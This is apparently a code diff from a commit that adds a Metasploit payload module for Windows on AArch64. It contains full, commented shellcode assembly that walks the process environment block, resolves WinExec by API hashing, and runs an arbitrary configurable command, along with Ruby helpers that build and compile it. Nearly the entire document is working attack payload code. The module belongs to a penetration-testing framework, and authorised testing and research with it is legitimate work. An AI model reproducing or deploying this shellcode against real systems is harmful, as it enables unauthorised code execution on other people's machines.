|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +module MetasploitModule |
| 7 | + # This size is an approximation. The final size depends on the CMD string. |
| 8 | + CachedSize = 384 |
| 9 | + |
| 10 | + include Msf::Payload::Windows |
| 11 | + include Msf::Payload::Single |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + merge_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Windows AArch64 Execute Command', |
| 18 | + 'Description' => 'Execute an arbitrary command on AArch64 Windows. Based on original research from Alan Foster.', |
| 19 | + 'Author' => [ |
| 20 | + 'alanfoster', # Original implementation and research |
| 21 | + 'Alexander "xaitax" Hagenah' |
| 22 | + ], |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Platform' => 'win', |
| 25 | + 'Arch' => ARCH_AARCH64, |
| 26 | + 'Notes' => { |
| 27 | + 'Stability' => [CRASH_SAFE], |
| 28 | + 'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS] |
| 29 | + } |
| 30 | + ) |
| 31 | + ) |
| 32 | + |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + OptString.new('CMD', [true, 'The command string to execute', 'calc.exe']) |
| 36 | + ] |
| 37 | + ) |
| 38 | + end |
| 39 | + |
| 40 | + def generate(_opts = {}) |
| 41 | + # The following AArch64 assembly implements the payload's core logic. |
| 42 | + # It is based on the alanfosters original implementation. |
| 43 | + cmd_str = datastore['CMD'] || 'calc.exe' |
| 44 | + asm = <<~EOF |
| 45 | + // Notes: |
| 46 | + // https://devblogs.microsoft.com/oldnewthing/20220822-00/?p=107032 |
| 47 | + // https://devblogs.microsoft.com/oldnewthing/20220823-00/?p=107041 |
| 48 | + // https://devblogs.microsoft.com/oldnewthing/20220824-00/?p=107043 |
| 49 | +
|
| 50 | + main: |
| 51 | + // --- Function Prologue --- |
| 52 | + // Allocate 0xb0 (176) bytes on the stack, then store the old |
| 53 | + // frame pointer (x29) and link register (x30) at the new stack top. |
| 54 | + stp x29, x30, [sp, #-0xb0]! |
| 55 | + // Set the new frame pointer to the current stack pointer. |
| 56 | + mov x29, sp |
| 57 | + // Save non-volatile registers we will be using to a known offset from our new frame. |
| 58 | + stp x19, x20, [x29, #0x10] |
| 59 | + str x21, [x29, #0x20] |
| 60 | +
|
| 61 | + // --- API Hash Setup --- |
| 62 | + // Load the pre-calculated custom hash for kernel32.dll!WinExec into w8. |
| 63 | + movz w8, #0x8b31 |
| 64 | + movk w8, #0x876f, lsl #16 |
| 65 | +
|
| 66 | + api_call: |
| 67 | + // --- PEB Traversal --- |
| 68 | + // Begin walking the Process Environment Block's module list to find loaded DLLs. |
| 69 | + // x18 on Windows AArch64 always points to the Thread Environment Block (TEB). |
| 70 | + ldr x10, [x18, #0x60] // x10 = TEB->ProcessEnvironmentBlock (PEB) |
| 71 | + ldr x10, [x10, #0x18] // x10 = PEB->Ldr |
| 72 | + ldr x10, [x10, #0x20] // x10 = PEB->Ldr.InMemoryOrderModuleList.Flink (first module) |
| 73 | +
|
| 74 | + next_mod: |
| 75 | + // --- Module Name Hashing --- |
| 76 | + // The LDR_DATA_TABLE_ENTRY UNICODE_STRING for the name is at +0x48. |
| 77 | + ldr x11, [x10, #0x50] // x11 = FullDllName.Buffer pointer |
| 78 | + ldr x12, [x10, #0x4a] // x12 = FullDllName.Length (USHORT) |
| 79 | + and x12, x12, #0xffff // Ensure we only have the 16-bit length |
| 80 | + movz w13, #0 // w13 = module hash accumulator |
| 81 | + loop_modname: |
| 82 | + // This hashing loop reads one byte at a time from a UTF-16 string. |
| 83 | + ldrb w14, [x11], #0x1 // Read a byte and post-increment pointer |
| 84 | + cmp w14, #97 // Compare with ASCII 'a' for case conversion |
| 85 | + b.lt not_lowercase |
| 86 | + sub w14, w14, #0x20 // Convert to uppercase |
| 87 | + not_lowercase: |
| 88 | + ror w13, w13, #13 // Rotate hash accumulator |
| 89 | + add w13, w13, w14 // Add character to hash |
| 90 | + sub w12, w12, #1 // Decrement length |
| 91 | + cmp w12, wzr |
| 92 | + b.gt loop_modname |
| 93 | + // These extra rotates are preserved from the original implementation. |
| 94 | + ror w13, w13, #13 |
| 95 | + ror w13, w13, #13 |
| 96 | +
|
| 97 | + // Save current state to our stack frame before parsing the export table. |
| 98 | + str x10, [x29, #0x30] // Save current module's LDR_DATA_TABLE_ENTRY pointer |
| 99 | + str x13, [x29, #0x38] // Save computed module hash |
| 100 | +
|
| 101 | + // --- PE Export Table Traversal --- |
| 102 | + ldr x10, [x10, #0x20] // x10 = DllBase (module base address) |
| 103 | + ldr w11, [x10, #0x3c] // Get e_lfanew from DOS header |
| 104 | + add x11, x10, x11 // x11 = Address of PE (NT) Header |
| 105 | +
|
| 106 | + // --- Implement PE64 Magic Number Check --- |
| 107 | + // This check ensures we only attempt to parse 64-bit PE modules, |
| 108 | + // avoiding crashes if a 32-bit (WoW64) module is encountered. |
| 109 | + // The PE32+ Magic (0x020B) is found at Optional Header +0x18. |
| 110 | + ldrh w14, [x11, #0x18] // Load the Magic number from Optional Header |
| 111 | + cmp w14, #0x020b // Compare with PE32+ magic value |
| 112 | + b.ne get_next_mod_loop // If not 0x020B, skip this module (it's 32-bit or invalid) |
| 113 | +
|
| 114 | + ldr w11, [x11, 0x88] // Get Export Table RVA from Optional Header |
| 115 | + cmp x11, #0x0 // Check if an Export Table exists |
| 116 | + b.eq get_next_mod_loop |
| 117 | + add x11, x11, x10 // x11 = Export Table Virtual Address |
| 118 | + str x11, [x29, #0x40] // Save EAT address to the stack |
| 119 | + ldr w12, [x11, #0x18] // w12 = NumberOfNames |
| 120 | + ldr w13, [x11, #0x20] // w13 = AddressOfNames RVA |
| 121 | + add x13, x10, x13 // w13 = AddressOfNames VA |
| 122 | +
|
| 123 | + get_next_func: |
| 124 | + cmp w12, #0 |
| 125 | + b.eq get_next_mod_loop // If all functions checked, move to the next module |
| 126 | + sub w12, w12, #1 // Search backwards through the export names |
| 127 | + mov x14, #0x4 |
| 128 | + madd x15, x12, x14, x13 // Get address of name RVA from AddressOfNames array |
| 129 | + ldr w15, [x15] // w15 = RVA of function name string |
| 130 | + add x15, x10, x15 // x15 = VA of function name string |
| 131 | + movz x5, #0 // w5 = function hash accumulator |
| 132 | + loop_funcname: |
| 133 | + ldrb w11, [x15], #0x1 // Load one byte of the ASCII function name |
| 134 | + ror w5, w5, #13 // Rotate hash |
| 135 | + add w5, w5, w11 // Add character to hash |
| 136 | + cmp x11, #0 |
| 137 | + b.ne loop_funcname // Loop until null terminator |
| 138 | + ldr w6, [x29, #0x38] // Retrieve module hash from stack |
| 139 | + add w6, w6, w5 // Add function hash |
| 140 | + cmp w6, w8 // Compare against target hash |
| 141 | + b.ne get_next_func |
| 142 | +
|
| 143 | + // --- Function Address Resolution --- |
| 144 | + found_func: |
| 145 | + ldr x11, [x29, #0x40] // Restore EAT address from stack |
| 146 | + ldr w13, [x11, #0x24] // Get AddressOfNameOrdinals RVA |
| 147 | + add x13, x10, x13 |
| 148 | + mov x14, #0x2 |
| 149 | + madd x15, x12, x14, x13 // Get address of the function's ordinal |
| 150 | + ldrh w15, [x15] // Get the 16-bit ordinal |
| 151 | + ldr w13, [x11, #0x1c] // Get AddressOfFunctions RVA |
| 152 | + add x13, x10, x13 |
| 153 | + mov x14, #0x4 |
| 154 | + madd x15, x15, x14, x13 // Get address of the function's RVA using the ordinal |
| 155 | + ldr w15, [x15] |
| 156 | + add x15, x15, x10 // x15 = Final VA of WinExec |
| 157 | +
|
| 158 | + finish: |
| 159 | + // --- Call WinExec --- |
| 160 | + // Set up x9 to point to a scratch buffer on our stack for the command string. |
| 161 | + add x9, x29, #0x50 |
| 162 | + // create_aarch64_string_in_stack places the pointer to the CMD in x0. |
| 163 | + #{create_aarch64_string_in_stack(cmd_str)} |
| 164 | + mov w1, #1 // Arg2: uCmdShow = SW_SHOWNORMAL (1) |
| 165 | + mov x8, x15 // Move target function address for the call |
| 166 | + blr x8 // Branch with Link to Register (call WinExec) |
| 167 | +
|
| 168 | + // --- Function Epilogue --- |
| 169 | + epilogue: |
| 170 | + // Restore saved registers. |
| 171 | + ldp x19, x20, [x29, #0x10] |
| 172 | + ldr x21, [x29, #0x20] |
| 173 | + // Restore the original stack pointer from our frame pointer. |
| 174 | + mov sp, x29 |
| 175 | + // Restore the original frame pointer and link register, deallocating the stack. |
| 176 | + ldp x29, x30, [sp], #0xb0 |
| 177 | + ret // Return to the caller. |
| 178 | +
|
| 179 | + // --- Refined Loop Control --- |
| 180 | + get_next_mod_loop: |
| 181 | + // Restore the LDR_DATA_TABLE_ENTRY pointer from the stack. |
| 182 | + ldr x10, [x29, #0x30] |
| 183 | + // Follow the Flink pointer to the next entry in the circular list. |
| 184 | + ldr x10, [x10] |
| 185 | + // Jump back to the start of the module processing loop. |
| 186 | + b next_mod |
| 187 | + EOF |
| 188 | + |
| 189 | + compile_aarch64(asm) |
| 190 | + end |
| 191 | + |
| 192 | + def create_aarch64_string_in_stack(string) |
| 193 | + str = string + "\x00" |
| 194 | + target = :x0 |
| 195 | + stack = :x9 |
| 196 | + push_string = str.bytes.each_slice(8).flat_map do |chunk| |
| 197 | + mov_instructions = chunk.each_slice(2).with_index.map do |word, idx| |
| 198 | + hex = word.reverse.map { |b| format('%02x', b) }.join |
| 199 | + "mov#{idx == 0 ? 'z' : 'k'} #{target}, #0x#{hex}#{idx == 0 ? '' : ", lsl ##{idx * 16}"}" |
| 200 | + end |
| 201 | + [*mov_instructions, "str #{target}, [#{stack}], #8"] |
| 202 | + end |
| 203 | + set_target_register = [ |
| 204 | + "mov #{target}, #{stack}", |
| 205 | + "sub #{target}, #{target}, ##{align(str.bytesize)}" |
| 206 | + ] |
| 207 | + (push_string + set_target_register).join("\n") |
| 208 | + end |
| 209 | + |
| 210 | + def align(value, alignment: 8) |
| 211 | + return value if (value % alignment).zero? |
| 212 | + |
| 213 | + value + (alignment - (value % alignment)) |
| 214 | + end |
| 215 | + |
| 216 | + def compile_aarch64(asm_string) |
| 217 | + require 'aarch64/parser' |
| 218 | + parser = ::AArch64::Parser.new |
| 219 | + asm = parser.parse(without_inline_comments(asm_string)) |
| 220 | + asm.to_binary |
| 221 | + end |
| 222 | + |
| 223 | + def without_inline_comments(string) |
| 224 | + string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") |
| 225 | + end |
| 226 | +end |
0 commit comments